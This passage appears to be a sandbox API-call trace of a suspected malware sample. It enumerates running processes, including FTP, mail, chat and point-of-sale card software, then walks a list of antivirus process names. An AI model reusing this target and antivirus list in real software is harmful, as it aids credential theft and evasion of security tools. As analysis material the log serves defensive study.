out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="canvas.exe")) returned 1 [0302.924] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cinema-count.exe")) returned 1 [0302.940] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tyler.exe")) returned 1 [0302.956] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="systems-limitation.exe")) returned 1 [0302.972] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="intellectual cleaner.exe")) returned 1 [0302.987] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="parker_sonic_metallic.exe")) returned 1 [0303.004] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="phrases_unique_mem.exe")) returned 1 [0303.034] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0303.050] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0303.066] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0303.081] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0303.096] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0303.112] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0303.158] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0303.171] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0303.187] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0303.252] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0303.268] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0303.284] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0303.299] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0303.315] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x680, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0303.330] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0303.346] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0303.361] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0303.377] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0303.393] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0303.408] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0303.424] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0303.440] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0303.455] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0303.471] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0303.486] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0303.502] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0303.518] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0303.534] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0303.549] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0303.565] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0303.580] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0303.596] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xef8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0303.611] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0303.627] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0303.643] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0303.664] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x74c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0303.705] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0303.721] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0303.738] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0303.752] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0303.799] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0303.815] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0303.831] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0303.846] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0303.862] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nv-ambien-sharp.exe")) returned 1 [0303.878] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lancaster.exe")) returned 1 [0303.893] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="eos-says.exe")) returned 1 [0303.908] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0303.924] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.939] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0303.955] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0303.971] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0303.987] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0304.002] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0304.018] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SppExtComObj.Exe")) returned 1 [0304.033] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe40, pcPriClassBase=8, dwFlags=0x0, szExeFile="xafpqko.exe")) returned 1 [0304.049] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0304.065] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x10f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0304.081] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x10f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="PING.EXE")) returned 1 [0304.096] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1348, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0304.112] Process32Next (in: hSnapshot=0x324, lppe=0x28aee68 | out: lppe=0x28aee68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1348, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 0 [0304.113] CloseHandle (hObject=0x324) returned 1 [0304.113] lstrlenA (lpString="ccSvcHst.exe") returned 12 [0304.113] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f728 | out: hHeap=0x47e0000) returned 1 [0304.113] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f718 | out: hHeap=0x47e0000) returned 1 [0304.113] lstrlenA (lpString="avgcsrvx.exe") returned 12 [0304.113] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f770 | out: hHeap=0x47e0000) returned 1 [0304.113] lstrlenA (lpString="avgsvcx.exe") returned 11 [0304.114] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f788 | out: hHeap=0x47e0000) returned 1 [0304.114] lstrlenA (lpString="avgcsrva.exe") returned 12 [0304.114] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f7a0 | out: hHeap=0x47e0000) returned 1 [0304.114] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f700 | out: hHeap=0x47e0000) returned 1 [0304.114] lstrlenA (lpString="MsMpEng.exe") returned 11 [0304.114] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f7b8 | out: hHeap=0x47e0000) returned 1 [0304.114] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f758 | out: hHeap=0x47e0000) returned 1 [0304.114] lstrlenA (lpString="mcshield.exe") returned 12 [0304.114] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f7e0 | out: hHeap=0x47e0000) returned 1 [0304.114] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f7d0 | out: hHeap=0x47e0000) returned 1 [0304.114] lstrlenA (lpString="avp.exe") returned 7 [0304.114] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f818 | out: hHeap=0x47e0000) returned 1 [0304.114] lstrlenA (lpString="kavtray.exe") returned 11 [0304.114] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f828 | out: hHeap=0x47e0000) returned 1 [0304.114] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f740 | out: hHeap=0x47e0000) returned 1 [0304.114] lstrlenA (lpString="egui.exe") returned 8 [0304.114] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f850 | out: hHeap=0x47e0000) returned 1 [0304.114] lstrlenA (lpString="ekrn.exe") returned 8 [0304.114] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f868 | out: hHeap=0x47e0000) returned 1 [0304.114] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f840 | out: hHeap=0x47e0000) returned 1 [0304.114] lstrlenA (lpString="bdagent.exe") returned 11 [0304.115] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f8b0 | out: hHeap=0x47e0000) returned 1 [0304.115] lstrlenA (lpString="vsserv.exe") returned 10 [0304.115] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f8c8 | out: hHeap=0x47e0000) returned 1 [0304.115] lstrlenA (lpString="vsservppl.exe") returned 13 [0304.115] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f8e0 | out: hHeap=0x47e0000) returned 1 [0304.115] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f7f8 | out: hHeap=0x47e0000) returned 1 [0304.115] lstrlenA (lpString="AvastSvc.exe") returned 12 [0304.115] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f8f8 | out: hHeap=0x47e0000) returned 1 [0304.115] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f898 | out: hHeap=0x47e0000) returned 1 [0304.115] lstrlenA (lpString="coreServiceShell.exe") returned 20 [0304.115] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f948 | out: hHeap=0x47e0000) returned 1 [0304.115] lstrlenA (lpString="PccNTMon.exe") returned 12 [0304.115] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f968 | out: hHeap=0x47e0000) returned 1 [0304.115] lstrlenA (lpString="NTRTScan.exe") returned 12 [0304.115] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f980 | out: hHeap=0x47e0000) returned 1 [0304.115] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f880 | out: hHeap=0x47e0000) returned 1 [0304.115] lstrlenA (lpString="SAVAdminService.exe") returned 19 [0304.115] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f9a8 | out: hHeap=0x47e0000) returned 1 [0304.115] lstrlenA (lpString="SavService.exe") returned 14 [0304.115] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fae0 | out: hHeap=0x47e0000) returned 1 [0304.115] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f998 | out: hHeap=0x47e0000) returned 1 [0304.115] lstrlenA (lpString="fshoster32.exe") returned 14 [0304.116] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fb88 | out: hHeap=0x47e0000) returned 1 [0304.116] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485ffd0 | out: hHeap=0x47e0000) returned 1 [0304.116] lstrlenA (lpString="WRSA.exe") returned 8 [0304.116] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fa08 | out: hHeap=0x47e0000) returned 1 [0304.116] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f910 | out: hHeap=0x47e0000) returned 1 [0304.116] lstrlenA (lpString="vkise.exe") returned 9 [0304.116] 